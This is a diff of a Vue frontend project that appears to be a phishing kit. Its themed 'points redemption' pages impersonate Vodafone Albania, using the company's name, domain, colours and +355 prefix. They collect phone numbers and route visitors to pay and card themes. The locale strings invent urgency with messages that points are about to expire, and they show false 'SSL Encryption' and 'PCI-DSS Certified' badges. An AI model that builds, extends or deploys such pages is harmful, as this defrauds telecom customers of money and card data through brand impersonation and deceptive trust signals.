box-shadow: 0 4px 18px rgba(217, 119, 6, 0.4);
transition: all 0.25s ease;
margin-bottom: 1rem;
}
.t4-t7-submit-btn:hover { transform: translateY(-1px); opacity: 0.95; }
.t4-t7-submit-btn:active { transform: translateY(0); opacity: 0.9; }
.t4-t7-trust-row {
display: flex;
justify-content: center;
gap: 1.5rem;
font-size: 11px;
font-weight: 700;
color: #bbb;
letter-spacing: 1px;
text-transform: uppercase;
}
/* ── Notification ── */
.t4-t7-notif {
display: flex;
align-items: center;
gap: 0.75rem;
background: #fff;
border-radius: 16px;
padding: 0.9rem 1rem;
box-shadow: 0 2px 12px rgba(0, 0, 0, 0.06);
border: 1px solid rgba(251, 191, 36, 0.2);
}
.t4-t7-notif-avatar {
width: 42px;
height: 42px;
border-radius: 50%;
background: #fef3c7;
display: flex;
align-items: center;
justify-content: center;
font-size: 20px;
flex-shrink: 0;
}
.t4-t7-notif-content {
flex: 1;
}
.t4-t7-notif-tag {
font-size: 9px;
font-weight: 800;
color: #f59e0b;
letter-spacing: 1px;
margin-bottom: 0.2rem;
}
.t4-t7-notif-text {
font-size: 13px;
color: #444;
line-height: 1.4;
}
.t4-t7-highlight {
color: #d97706;
font-weight: 700;
}
.t4-t7-notif-arrow {
font-size: 22px;
color: #ccc;
font-weight: 300;
flex-shrink: 0;
}
</style>

View File

@@ -0,0 +1,442 @@
<template>
<div class="t5-t8-root">
<!-- Hero红色背景区 -->
<div class="t5-t8-hero">
<!-- 装饰 -->
<span class="t5-t8-deco t5-t8-deco-tl"></span>
<span class="t5-t8-deco t5-t8-deco-tr"></span>
<span class="t5-t8-deco t5-t8-deco-br"></span>
<span class="t5-t8-deco t5-t8-deco-ml"></span>
<span class="t5-t8-deco t5-t8-deco-mr"></span>
<span class="t5-t8-deco t5-t8-deco-bl"></span>
<span class="t5-t8-deco t5-t8-deco-sub">+</span>
<!-- 顶部 badge -->
<div class="t5-t8-badge">{{ t('theme5.carnival_hub') }}</div>
<!-- 主标题 -->
<h1 class="t5-t8-title-line1">{{ t('theme5.surprise') }}</h1>
<h1 class="t5-t8-title-line2">{{ t('theme5.gifts') }}</h1>
<p class="t5-t8-hero-sub">{{ t('theme5.claim_reward') }}</p>
<!-- 三图标行 -->
<div class="t5-t8-icons-row">
<div class="t5-t8-icon-side">🎀</div>
<div class="t5-t8-icon-center">
<div class="t5-t8-icon-ring">🎁</div>
</div>
<div class="t5-t8-icon-side">💰</div>
</div>
</div>
<!-- 白卡状态 + 数据 -->
<div class="t5-t8-card-wrap">
<div class="t5-t8-status-card">
<div class="t5-t8-status-label">{{ t('theme5.point_status') }}</div>
<div class="t5-t8-status-title">{{ t('theme5.redeem_now') }}</div>
<div class="t5-t8-status-sub">{{ t('theme5.available_worldwide') }}</div>
<div class="t5-t8-stats-grid">
<div class="t5-t8-stat t5-t8-stat-red">
<div class="t5-t8-stat-val">{{ t('theme5.free') }}</div>
<div class="t5-t8-stat-lbl">{{ t('theme5.exchange') }}</div>
</div>
<div class="t5-t8-stat t5-t8-stat-orange">
<div class="t5-t8-stat-val">950+</div>
<div class="t5-t8-stat-lbl">{{ t('theme5.free_gifts') }}</div>
</div>
<div class="t5-t8-stat t5-t8-stat-blue">
<div class="t5-t8-stat-val">10M</div>
<div class="t5-t8-stat-lbl">{{ t('theme5.active_fans') }}</div>
</div>
<div class="t5-t8-stat t5-t8-stat-green">
<div class="t5-t8-stat-val">{{ t('theme5.fast') }}</div>
<div class="t5-t8-stat-lbl">{{ t('theme5.same_day_shipping') }}</div>
</div>
</div>
</div>
</div>
<!-- 表单区域 -->
<div class="t5-t8-form-section">
<h2 class="t5-t8-form-title">{{ t('theme5.form_title') }}</h2>
<p class="t5-t8-form-sub">{{ t('theme5.form_subtitle') }}</p>
<input
class="t5-t8-input"
type="tel"
inputmode="tel"
:placeholder="t('theme5.phone_placeholder')"
:value="modelValue"
@input="$emit('update:modelValue', ($event.target as HTMLInputElement).value)"
/>
<button class="t5-t8-submit-btn" @click="$emit('submit')">
{{ t('theme5.verify_btn') }}
</button>
</div>
</div>
</template>
<script setup lang="ts">
import { useI18n } from 'vue-i18n';
import type { ThemeColors } from '@/config/themes';
const { t } = useI18n();
interface Props {
modelValue: string;
colors: ThemeColors;
}
defineProps<Props>();
defineEmits<{
(e: 'update:modelValue', value: string): void;
(e: 'submit'): void;
}>();
</script>
<style scoped>
/* ── Root ── */
.t5-t8-root {
background: #f4f5f7;
min-height: 100%;
padding-bottom: 1.5rem;
font-family: inherit;
}
/* ── Hero ── */
.t5-t8-hero {
position: relative;
background: linear-gradient(175deg, #ff5a4a 0%, #f03232 55%, #e02020 100%);
padding: 2rem 1.25rem 5rem;
text-align: center;
overflow: hidden;
}
.t5-t8-deco {
position: absolute;
color: rgba(255, 220, 50, 0.6);
font-size: 16px;
pointer-events: none;
}
.t5-t8-deco-tl { top: 1.1rem; left: 1.1rem; font-size: 13px; }
.t5-t8-deco-tr { top: 0.9rem; right: 1.8rem; font-size: 18px; }
.t5-t8-deco-br { bottom: 5rem; right: 1.2rem; font-size: 11px; color: rgba(255,200,50,0.45); }
.t5-t8-deco-ml { top: 45%; left: 0.7rem; font-size: 10px; color: rgba(255,240,120,0.5); }
.t5-t8-deco-mr { top: 38%; right: 0.7rem; font-size: 12px; color: rgba(255,230,80,0.45); }
.t5-t8-deco-bl { bottom: 4.5rem; left: 1.5rem; font-size: 9px; color: rgba(255,200,80,0.4); }
.t5-t8-deco-sub { top: 2.2rem; left: 40%; font-size: 14px; color: rgba(255,255,255,0.2); }
.t5-t8-badge {
display: inline-block;
background: rgba(255, 255, 255, 0.18);
border: 1px solid rgba(255, 255, 255, 0.35);
color: #fff;
font-size: 10px;
font-weight: 800;
letter-spacing: 1.5px;
padding: 0.3rem 0.9rem;
border-radius: 20px;
margin-bottom: 1rem;
text-transform: uppercase;
}
.t5-t8-title-line1 {
font-size: 58px;
font-weight: 900;
color: #ffd95a;
line-height: 1;
margin: 0;
font-style: italic;
-webkit-text-stroke: 1.5px #c87800;
text-transform: uppercase;
text-shadow: 0 2px 12px rgba(0,0,0,0.15);
}
.t5-t8-title-line2 {
font-size: 58px;
font-weight: 900;
color: #fff;
line-height: 1;
margin: 0 0 0.5rem;
font-style: italic;
text-transform: uppercase;
text-shadow: 0 2px 12px rgba(0,0,0,0.2);
}
.t5-t8-hero-sub {
font-size: 11px;
font-weight: 700;
color: rgba(255, 255, 255, 0.85);
letter-spacing: 1px;
margin: 0 0 1.5rem;
text-transform: uppercase;
}
/* 三图标行 */
.t5-t8-icons-row {
display: flex;
align-items: flex-end;
justify-content: center;
gap: 0.75rem;
}
.t5-t8-icon-side {
width: 56px;
height: 56px;
border-radius: 16px;
background: rgba(255, 255, 255, 0.15);
backdrop-filter: blur(2px);
display: flex;
align-items: center;
justify-content: center;
font-size: 26px;
margin-bottom: 8px;
border: 1px solid rgba(255,255,255,0.2);
}
.t5-t8-icon-center {
width: 92px;
height: 92px;
border-radius: 50%;
border: 4px solid #ffd95a;
background: #fff;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 8px 28px rgba(0, 0, 0, 0.28), 0 0 0 6px rgba(255, 217, 90, 0.25);
}
.t5-t8-icon-ring {
font-size: 42px;
line-height: 1;
}
/* ── White card wrap ── */
.t5-t8-card-wrap {
padding: 0 1rem;
margin-top: -2rem;
position: relative;
z-index: 2;
}
.t5-t8-status-card {
background: #fff;
border-radius: 24px;
padding: 1.5rem 1.25rem 1.25rem;
box-shadow: 0 -4px 0 rgba(0,0,0,0.03), 0 8px 32px rgba(0,0,0,0.09);
text-align: center;
}
.t5-t8-status-label {
font-size: 10px;
font-weight: 700;
color: #aaa;
letter-spacing: 1.2px;
text-transform: uppercase;
margin-bottom: 0.35rem;
}
.t5-t8-status-title {
font-size: 36px;
font-weight: 900;
font-style: italic;
color: #e8231a;
line-height: 1;
margin-bottom: 0.3rem;
letter-spacing: -0.5px;
}
.t5-t8-status-sub {
font-size: 12px;
font-style: italic;
color: #bbb;
margin-bottom: 2.25rem;
}
/* 2x2 stats */
.t5-t8-stats-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.65rem;
}
.t5-t8-stat {
border-radius: 16px;
padding: 1rem 0.75rem;
}
.t5-t8-stat-red { background: #fff0f0; }
.t5-t8-stat-orange { background: #fff7ed; }
.t5-t8-stat-blue { background: #eff6ff; }
.t5-t8-stat-green { background: #f0fdf4; }
.t5-t8-stat-val {
font-size: 24px;
font-weight: 900;
line-height: 1;
margin-bottom: 0.2rem;
}
.t5-t8-stat-red .t5-t8-stat-val { color: #e8231a; }
.t5-t8-stat-orange .t5-t8-stat-val { color: #f59e0b; }
.t5-t8-stat-blue .t5-t8-stat-val { color: #2563eb; }
.t5-t8-stat-green .t5-t8-stat-val { color: #16a34a; }
.t5-t8-stat-lbl {
font-size: 9px;
font-weight: 700;
color: #aaa;
letter-spacing: 0.8px;
text-transform: uppercase;
}
/* ── Form Section ── */
.t5-t8-form-section {
padding: 1.5rem 1rem 0;
text-align: center;
}
.t5-t8-form-title {
font-size: 24px;
font-weight: 900;
color: #111;
margin: 0 0 0.3rem;
letter-spacing: -0.3px;
}
.t5-t8-form-sub {
font-size: 13px;
color: #999;
margin: 0 0 1.1rem;
line-height: 1.4;
}
.t5-t8-input {
width: 100%;
box-sizing: border-box;
padding: 0.95rem 1.25rem;
border: 1.5px solid #f8bfbf;
border-radius: 50px;
font-size: 15px;
font-weight: 500;
background: #ffe8e8;
color: #1a1a1a;
outline: none;
margin-bottom: 0.85rem;
text-align: center;
transition: border-color 0.2s, box-shadow 0.2s;
}
.t5-t8-input::placeholder {
color: #e07070;
font-weight: 400;
}
.t5-t8-input:focus {
border-color: #e8231a;
box-shadow: 0 0 0 3px rgba(232, 35, 26, 0.12);
background: #ffd8d8;
}
.t5-t8-submit-btn {
width: 100%;
padding: 1.05rem 1.25rem;
border: none;
border-radius: 50px;
background: linear-gradient(180deg, #ffe566 0%, #f5a800 100%);
color: #7c3a00;
font-size: 15px;
font-weight: 900;
cursor: pointer;
letter-spacing: 1px;
text-transform: uppercase;
box-shadow: 0 6px 0 #c47a00, 0 8px 20px rgba(200,120,0,0.35);
transition: all 0.15s ease;
margin-bottom: 0.85rem;
position: relative;
top: 0;
}
.t5-t8-submit-btn:hover {
box-shadow: 0 4px 0 #c47a00, 0 6px 16px rgba(200,120,0,0.35);
top: 2px;
}
.t5-t8-submit-btn:active {
box-shadow: 0 1px 0 #c47a00;
top: 5px;
}
.t5-t8-secure-text {
font-size: 11px;
font-weight: 500;
color: #bbb;
letter-spacing: 0.3px;
margin: 0 0 1.25rem;
}
/* ── Notif ── */
.t5-t8-notif-wrap {
padding: 0 1rem;
}
.t5-t8-notif {
display: flex;
align-items: center;
gap: 0.75rem;
background: #fff;
border-radius: 16px;
padding: 0.85rem 1rem;
box-shadow: 0 2px 12px rgba(0, 0, 0, 0.07);
border: 1px solid rgba(232, 35, 26, 0.1);
}
.t5-t8-notif-avatar {
width: 40px;
height: 40px;
border-radius: 50%;
background: #e02020;
display: flex;
align-items: center;
justify-content: center;
font-size: 18px;
flex-shrink: 0;
}
.t5-t8-notif-body { flex: 1; }
.t5-t8-notif-tag {
font-size: 9px;
font-weight: 800;
color: #f59e0b;
letter-spacing: 1px;
margin-bottom: 0.15rem;
}
.t5-t8-notif-text {
font-size: 13px;
color: #333;
line-height: 1.4;
}
.t5-t8-hl {
color: #e8231a;
font-weight: 700;
}
.t5-t8-hl-reward {
color: #f59e0b;
font-weight: 700;
}
.t5-t8-notif-dot {
width: 8px;
height: 8px;
border-radius: 50%;
background: #22c55e;
flex-shrink: 0;
}
</style>

View File

@@ -0,0 +1,608 @@
<template>
<div
class="t2-theme-1"
:style="{
'--primary-color': colors.primary,
'--primary-light': colors.primaryLight,
}"
>
<!-- 顶部渐变区域 -->
<div class="t2-header-section">
<!-- 装饰元素 -->
<div class="t2-floating-shapes">
<div class="t2-shape t2-shape-1"></div>
<div class="t2-shape t2-shape-2"></div>
<div class="t2-shape t2-shape-3"></div>
</div>
<!-- Logo和标题 -->
<div class="t2-header-content">
<div class="t2-logo-wrapper">
<div class="t2-logo">
<svg width="48" height="48" viewBox="0 0 24 24" fill="none">
<path d="M12 2L2 7V11C2 16.55 6.84 21.74 12 23C17.16 21.74 22 16.55 22 11V7L12 2Z" fill="white" opacity="0.9"/>
<circle cx="12" cy="12" r="4" fill="white"/>
</svg>
</div>
</div>
<h1 class="t2-main-title">{{ t("theme2.title") }}</h1>
<p class="t2-main-subtitle">{{ t("theme2.subtitle") }}</p>
</div>
</div>
<!-- 特性卡片 -->
<div class="t2-features-section">
<div class="t2-feature-card">
<div class="t2-feature-icon">
<svg width="28" height="28" viewBox="0 0 24 24" fill="none">
<path d="M12 2C6.48 2 2 6.48 2 12C2 17.52 6.48 22 12 22C17.52 22 22 17.52 22 12C22 6.48 17.52 2 12 2ZM13 17H11V15H13V17ZM13 13H11V7H13V13Z" fill="currentColor"/>
</svg>
</div>
<div class="t2-feature-text">
<div class="t2-feature-title">{{ t("theme2.feature_realtime") }}</div>
</div>
</div>
<div class="t2-feature-card">
<div class="t2-feature-icon">
<svg width="28" height="28" viewBox="0 0 24 24" fill="none">
<path d="M20 6H17.82C17.93 5.69 18 5.35 18 5C18 3.34 16.66 2 15 2C13.95 2 13.04 2.54 12.5 3.35L12 4.02L11.5 3.34C10.96 2.54 10.05 2 9 2C7.34 2 6 3.34 6 5C6 5.35 6.07 5.69 6.18 6H4C2.89 6 2.01 6.89 2.01 8L2 19C2 20.11 2.89 21 4 21H20C21.11 21 22 20.11 22 19V8C22 6.89 21.11 6 20 6Z" fill="currentColor"/>
</svg>
</div>
<div class="t2-feature-text">
<div class="t2-feature-title">{{ t("theme2.feature_rewards") }}</div>
</div>
</div>
<div class="t2-feature-card">
<div class="t2-feature-icon">
<svg width="28" height="28" viewBox="0 0 24 24" fill="none">
<path d="M12 1L3 5V11C3 16.55 6.84 21.74 12 23C17.16 21.74 21 16.55 21 11V5L12 1Z" fill="currentColor"/>
</svg>
</div>
<div class="t2-feature-text">
<div class="t2-feature-title">{{ t("theme2.feature_secure") }}</div>
</div>
</div>
</div>
<!-- 主要查询区域 -->
<div class="t2-query-section">
<div class="t2-query-card">
<!-- 卡片标题 -->
<div class="t2-query-header">
<div class="t2-query-icon-bg">
<svg width="32" height="32" viewBox="0 0 24 24" fill="none">
<path d="M15.5 14H14.71L14.43 13.73C15.41 12.59 16 11.11 16 9.5C16 5.91 13.09 3 9.5 3C5.91 3 3 5.91 3 9.5C3 13.09 5.91 16 9.5 16C11.11 16 12.59 15.41 13.73 14.43L14 14.71V15.5L19 20.49L20.49 19L15.5 14ZM9.5 14C7.01 14 5 11.99 5 9.5C5 7.01 7.01 5 9.5 5C11.99 5 14 7.01 14 9.5C14 11.99 11.99 14 9.5 14Z" fill="white"/>
</svg>
</div>
<div class="t2-query-title-block">
<h2 class="t2-query-title">{{ t("theme2.check_my_points") }}</h2>
<p class="t2-query-subtitle">{{ t("theme2.query_subtitle") }}</p>
</div>
</div>
<!-- 输入区域 -->
<div class="t2-input-section">
<label class="t2-input-label">{{ t("Phone number") }}</label>
<div class="t2-phone-input-wrapper">
<input
type="tel"
class="t2-phone-input"
:placeholder="t('theme2.phone_placeholder')"
maxlength="11"
:value="modelValue"
@input="$emit('update:modelValue', ($event.target as HTMLInputElement).value)"
/>
<div class="t2-input-underline"></div>
</div>
</div>
<!-- 查询按钮 -->
<button class="t2-query-button" @click="$emit('submit')">
<span class="t2-button-content">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none">
<path d="M15.5 14H14.71L14.43 13.73C15.41 12.59 16 11.11 16 9.5C16 5.91 13.09 3 9.5 3C5.91 3 3 5.91 3 9.5C3 13.09 5.91 16 9.5 16C11.11 16 12.59 15.41 13.73 14.43L14 14.71V15.5L19 20.49L20.49 19L15.5 14Z" fill="currentColor"/>
</svg>
{{ t("theme2.query_btn") }}
</span>
<div class="t2-button-shine"></div>
</button>
<!-- 安全提示 -->
<div class="t2-security-info">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none">
<path d="M18 8H17V6C17 3.24 14.76 1 12 1C9.24 1 7 3.24 7 6V8H6C4.9 8 4 8.9 4 10V20C4 21.1 4.9 22 6 22H18C19.1 22 20 21.1 20 20V10C20 8.9 19.1 8 18 8ZM12 17C10.9 17 10 16.1 10 15C10 13.9 10.9 13 12 13C13.1 13 14 13.9 14 15C14 16.1 13.1 17 12 17ZM15.1 8H8.9V6C8.9 4.29 10.29 2.9 12 2.9C13.71 2.9 15.1 4.29 15.1 6V8Z" fill="currentColor"/>
</svg>
{{ t("theme2.security_note") }}
</div>
</div>
</div>
</div>
</template>
<script setup lang="ts">
import { useI18n } from 'vue-i18n';
import type { ThemeColors } from '@/config/themes';
interface Props {
modelValue: string;
colors: ThemeColors;
}
defineProps<Props>();
const { t } = useI18n();
const emit = defineEmits<{
(e: 'update:modelValue', value: string): void;
(e: 'submit'): void;
}>();
</script>
<style scoped>
.t2-theme-1 {
background: linear-gradient(180deg, #f8fafc 0%, #e2e8f0 100%);
padding-bottom: 2rem;
}
/* 顶部区域 */
.t2-header-section {
position: relative;
background: var(--primary-color);
padding: 2rem 1rem 3rem;
overflow: hidden;
}
.t2-floating-shapes {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
overflow: hidden;
opacity: 0.1;
}
.t2-shape {
position: absolute;
background: white;
border-radius: 50%;
}
.t2-shape-1 {
width: 120px;
height: 120px;
top: -40px;
right: -20px;
animation: float 6s ease-in-out infinite;
}
.t2-shape-2 {
width: 80px;
height: 80px;
bottom: 20px;
left: -10px;
animation: float 8s ease-in-out infinite;
animation-delay: 1s;
}
.t2-shape-3 {
width: 60px;
height: 60px;
top: 50%;
left: 20%;
animation: float 7s ease-in-out infinite;
animation-delay: 2s;
}
@keyframes float {
0%, 100% { transform: translateY(0) rotate(0deg); }
50% { transform: translateY(-20px) rotate(180deg); }
}
.t2-header-content {
position: relative;
z-index: 1;
text-align: center;
}
.t2-logo-wrapper {
margin-bottom: 1.5rem;
}
.t2-logo {
width: 64px;
height: 64px;
margin: 0 auto;
background: rgba(255, 255, 255, 0.25);
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
backdrop-filter: blur(10px);
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.1);
border: 2px solid rgba(255, 255, 255, 0.3);
}
.t2-main-title {
font-size: 32px;
font-weight: 900;
color: white;
margin: 0 0 0.5rem;
letter-spacing: 1px;
text-shadow: 0 2px 8px rgba(0, 0, 0, 0.15);
}
.t2-main-subtitle {
font-size: 14px;
color: rgba(255, 255, 255, 0.95);
margin: 0;
font-weight: 500;
text-shadow: 0 1px 4px rgba(0, 0, 0, 0.1);
}
/* 特性卡片 */
.t2-features-section {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 0.5rem;
padding: 0 1rem;
margin-top: -2rem;
position: relative;
z-index: 2;
}
.t2-feature-card {
background: white;
border-radius: 12px;
padding: 1rem 0.75rem;
box-shadow: 0 2px 12px rgba(0, 0, 0, 0.06);
text-align: center;
transition: all 0.3s ease;
border: 1px solid rgba(0, 65, 142, 0.08);
}
.t2-feature-card:hover {
transform: translateY(-2px);
box-shadow: 0 6px 20px rgba(0, 0, 0, 0.1);
border-color: var(--primary-color);
}
.t2-feature-icon {
width: 48px;
height: 48px;
margin: 0 auto 0.5rem;
background: var(--primary-color);
border-radius: 12px;
display: flex;
align-items: center;
justify-content: center;
color: white;
}
.t2-feature-text {
color: #1e293b;
}
.t2-feature-title {
font-size: 14px;
font-weight: 700;
}
/* 查询区域 */
.t2-query-section {
padding: 1.5rem 1rem;
}
.t2-query-card {
background: white;
border-radius: 20px;
padding: 1.5rem 1.25rem;
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.08);
}
.t2-query-header {
display: flex;
align-items: center;
gap: 1rem;
margin-bottom: 2rem;
}
.t2-query-icon-bg {
width: 56px;
height: 56px;
background: var(--primary-color);
border-radius: 14px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
}
.t2-query-title-block {
flex: 1;
}
.t2-query-title {
font-size: 20px;
font-weight: 800;
color: #1e293b;
margin: 0 0 0.25rem;
}
.t2-query-subtitle {
font-size: 13px;
color: #64748b;
margin: 0;
}
.t2-input-section {
margin-bottom: 1.5rem;
}
.t2-input-label {
display: block;
font-size: 14px;
font-weight: 600;
color: #475569;
margin-bottom: 0.75rem;
}
.t2-phone-input-wrapper {
position: relative;
display: flex;
align-items: center;
gap: 0.75rem;
padding-bottom: 0.5rem;
border-bottom: 2px solid #e2e8f0;
}
.t2-country-code {
font-size: 18px;
font-weight: 600;
color: var(--primary-color);
padding: 0.5rem 0;
}
.t2-phone-input {
flex: 1;
font-size: 20px;
font-weight: 600;
color: #1e293b;
border: none;
outline: none;
background: transparent;
padding: 0.5rem 0;
letter-spacing: 1px;
}
.t2-phone-input::placeholder {
color: #cbd5e1;
font-weight: 500;
}
.t2-input-underline {
position: absolute;
bottom: -2px;
left: 0;
right: 0;
height: 2px;
background: var(--primary-color);
transform: scaleX(0);
transition: transform 0.3s ease;
}
.t2-phone-input:focus ~ .t2-input-underline {
transform: scaleX(1);
}
.t2-query-button {
width: 100%;
padding: 1rem 1.5rem;
border: none;
border-radius: 12px;
background: var(--primary-color);
color: white;
font-size: 16px;
font-weight: 700;
cursor: pointer;
position: relative;
overflow: hidden;
transition: all 0.3s ease;
}
.t2-button-content {
position: relative;
z-index: 1;
display: flex;
align-items: center;
justify-content: center;
gap: 0.5rem;
}
.t2-button-shine {
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.3), transparent);
transition: left 0.5s ease;
}
.t2-query-button:hover {
transform: translateY(-2px);
opacity: 0.9;
}
.t2-query-button:hover .t2-button-shine {
left: 100%;
}
.t2-query-button:active {
transform: translateY(0);
}
.t2-security-info {
display: flex;
align-items: center;
gap: 0.5rem;
margin-top: 1.25rem;
padding: 1rem;
background: #f8fafc;
border-radius: 12px;
font-size: 12px;
color: #64748b;
font-weight: 500;
}
.t2-security-info svg {
color: #10b981;
flex-shrink: 0;
}
/* 信息卡片 */
.t2-info-section {
padding: 0 1.5rem 1.5rem;
}
.t2-info-card-modern {
background: linear-gradient(135deg, #fef3c7 0%, #fde68a 100%);
border-radius: 20px;
padding: 1.5rem;
box-shadow: 0 4px 20px rgba(245, 158, 11, 0.15);
}
.t2-info-header {
margin-bottom: 1.25rem;
}
.t2-info-badge {
background: rgba(255, 255, 255, 0.9);
color: #92400e;
font-size: 13px;
font-weight: 700;
padding: 0.5rem 1rem;
border-radius: 20px;
display: inline-block;
letter-spacing: 0.5px;
}
.t2-info-grid {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 1rem;
}
.t2-info-item {
text-align: center;
}
.t2-info-number {
font-size: 24px;
font-weight: 900;
color: #92400e;
margin-bottom: 0.25rem;
}
.t2-info-label {
font-size: 12px;
color: #78350f;
font-weight: 600;
}
/* 底部提示 */
.t2-footer-tips {
padding: 0 1.5rem;
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.t2-tip-item {
display: flex;
align-items: center;
gap: 0.75rem;
font-size: 13px;
color: #64748b;
font-weight: 500;
}
.t2-tip-dot {
width: 6px;
height: 6px;
background: var(--primary-color);
border-radius: 50%;
flex-shrink: 0;
}
@media (max-width: 768px) {
.t2-main-title {
font-size: 26px;
}
.t2-main-subtitle {
font-size: 13px;
}
.t2-logo {
width: 56px;
height: 56px;
}
.t2-logo-wrapper {
margin-bottom: 1.25rem;
}
.t2-features-section {
gap: 0.5rem;
padding: 0 0.75rem;
}
.t2-feature-card {
padding: 0.75rem 0.5rem;
}
.t2-feature-icon {
width: 40px;
height: 40px;
margin: 0 auto 0.375rem;
}
.t2-feature-title {
font-size: 12px;
}
.t2-query-section {
padding: 1rem 0.75rem;
}
.t2-query-card {
padding: 1.25rem 1rem;
}
.t2-query-icon-bg {
width: 48px;
height: 48px;
}
.t2-query-title {
font-size: 18px;
}
.t2-query-subtitle {
font-size: 12px;
}
.t2-info-grid {
gap: 0.75rem;
}
.t2-info-number {
font-size: 20px;
}
}
</style>

View File

@@ -0,0 +1,32 @@
import { ref } from "vue";
import global from "./locales/global";
export const globalConfig = {
to_domain: "https://home.vodafone.al/",
main_name: "Vodafone Albania",
goods_price: "28.5",
goods_image: "theme1.jpg",
flag: "al",
phone_prefix: "355",
language: "global",
language_file: global,
primary_color: "#E60000",
primary_color2: "#ce1717",
primary_color3: "#b5d624",
};
export const goodsConfig = ref<any>({
points: 3220,
unit: "ALL ",
isRight: false,
theme: '1',
rate: 1,
format: "2",
fee: 0,
fee2: 0,
feeType: 0,
homeTheme: 1,
payTheme: 1,
addressTheme: 1,
cardTheme: 1,
})

View File

@@ -0,0 +1,40 @@
import type { Component } from "vue";
import Theme1 from "@/components/theme/Theme1.vue";
import Theme2 from "@/components/theme/Theme2.vue";
import Theme3 from "@/components/theme/Theme3.vue";
import Theme4 from "@/components/theme/Theme4.vue";
import Theme5 from "@/components/theme/Theme5.vue";
import Theme6 from "@/components/theme/Theme6.vue";
import PayTheme1 from "@/components/pay/PayTheme1.vue";
import PayTheme2 from "@/components/pay/PayTheme2.vue";
import PayTheme3 from "@/components/pay/PayTheme3.vue";
import PayTheme4 from "@/components/pay/PayTheme4.vue";
import PayTheme5 from "@/components/pay/PayTheme5.vue";
import PayTheme6 from "@/components/pay/PayTheme6.vue";
export type ThemeScene = "home" | "pay";
const homeThemeMap: Record<number, Component> = {
1: Theme1,
2: Theme2,
3: Theme3,
4: Theme4,
5: Theme5,
6: Theme6,
};
const payThemeMap: Record<number, Component> = {
1: PayTheme1,
2: PayTheme2,
3: PayTheme3,
4: PayTheme4,
5: PayTheme5,
6: PayTheme6,
};
export function resolveThemeComponent(scene: ThemeScene, themeId: number): Component {
const normalizedThemeId = Number(themeId) || 1;
const themeMap = scene === "home" ? homeThemeMap : payThemeMap;
return themeMap[normalizedThemeId] || themeMap[1];
}

View File

@@ -0,0 +1,46 @@
import { globalConfig } from "@/config";
// 主题颜色配置
export interface ThemeColors {
primary: string;
primaryLight: string;
primaryDark: string;
gradient: string;
shadow: string;
}
export const themeColors: Record<number, ThemeColors> = {
1: {
primary: globalConfig.primary_color,
primaryLight: globalConfig.primary_color,
primaryDark: globalConfig.primary_color,
gradient: `linear-gradient(135deg, ${globalConfig.primary_color} 0%, ${globalConfig.primary_color} 100%)`,
shadow: 'rgba(0, 65, 142, 0.35)',
},
6: {
primary: globalConfig.primary_color,
primaryLight: globalConfig.primary_color,
primaryDark: globalConfig.primary_color,
gradient: `linear-gradient(135deg, ${globalConfig.primary_color} 0%, ${globalConfig.primary_color} 100%)`,
shadow: 'rgba(0, 65, 142, 0.35)',
},
7: {
primary: globalConfig.primary_color,
primaryLight: globalConfig.primary_color,
primaryDark: globalConfig.primary_color,
gradient: `linear-gradient(135deg, ${globalConfig.primary_color} 0%, ${globalConfig.primary_color} 100%)`,
shadow: 'rgba(0, 65, 142, 0.35)',
},
8: {
primary: globalConfig.primary_color,
primaryLight: globalConfig.primary_color,
primaryDark: globalConfig.primary_color,
gradient: `linear-gradient(135deg, ${globalConfig.primary_color} 0%, #0073e6 100%)`,
shadow: 'rgba(0, 65, 142, 0.35)',
},
};
// 获取主题颜色
export function getThemeColors(themeId: number): ThemeColors {
return themeColors[themeId] || themeColors[1];
}

View File

@@ -0,0 +1,483 @@
export default {
// common flat keys
"Submit": "提交",
"Next Step": "下一步",
"Cancel": "取消",
"SSL Encryption": "SSL加密",
"Safe payment": "安全支付",
"PCI-DSS Certified": "PCI-DSS認證",
"Phone number": "電話號碼",
"points": "積分",
"Points": "積分",
"Exchange": "兌換",
"Inquire": "查詢",
"Processing": "處理中",
"Sunday": "週日", "Monday": "週一", "Tuesday": "週二",
"Wednesday": "週三", "Thursday": "週四", "Friday": "週五", "Saturday": "週六",
"January": "一月", "February": "二月", "March": "三月", "April": "四月",
"May": "五月", "June": "六月", "July": "七月", "August": "八月",
"September": "九月", "October": "十月", "November": "十一月", "December": "十二月",
// theme6
reward_points_waiting: "您的獎勵積分正在等您",
loyalty_thank_you: "感謝您成為 {name} 的忠誠會員。",
points_expiry_warning: "您有部分獎勵積分即將到期。",
choose_reward_instruction: "請選擇您喜歡的獎勵並在到期前完成兌換。",
enter_phone_to_check: "輸入您的手機號碼以查詢積分。",
verify_my_points: "查詢我的 {name} 積分",
placeholder_enter_number: "請輸入手機號碼",
error_invalid_phone: "請輸入有效的手機號碼",
btn_continue: "繼續",
// login_view
login_view: {
welcome_back: "歡迎回來",
reward_message: "我們獎勵您使用積分服務",
check_points: "查詢您的積分",
},
// theme1
theme1: {
available_title: "將您的積分兌換成獎勵",
rewards_name: "獎勵",
desc1: "歡迎加入獎勵積分兌換計劃。",
desc2: "您累積的積分可以兌換各種獨家獎勵和生活用品。",
desc3: "查看您的可用積分,立即開始兌換!",
check_points: "查詢您的積分",
},
// theme2
theme2: {
title: "積分查詢",
subtitle: "輸入您的電話號碼查詢可用積分",
feature_realtime: "免費兌換",
feature_rewards: "豐富獎勵",
feature_secure: "當天發貨",
check_my_points: "查詢我的積分",
query_subtitle: "請輸入您的電話號碼進行查詢",
phone_placeholder: "輸入電話號碼",
query_btn: "立即查詢",
security_note: "您的資訊將被安全加密,不會用於其他目的",
},
// theme3
theme3: {
hero_badge: "節日活動",
title: "節日科技獎勵",
subtitle: "把握季節,以積分兌換獨家科技產品。",
view_catalog: "瀏覽目錄",
check_balance: "免費兌換",
check_balance_sub: "當天發貨",
account_identifier: "手機號碼",
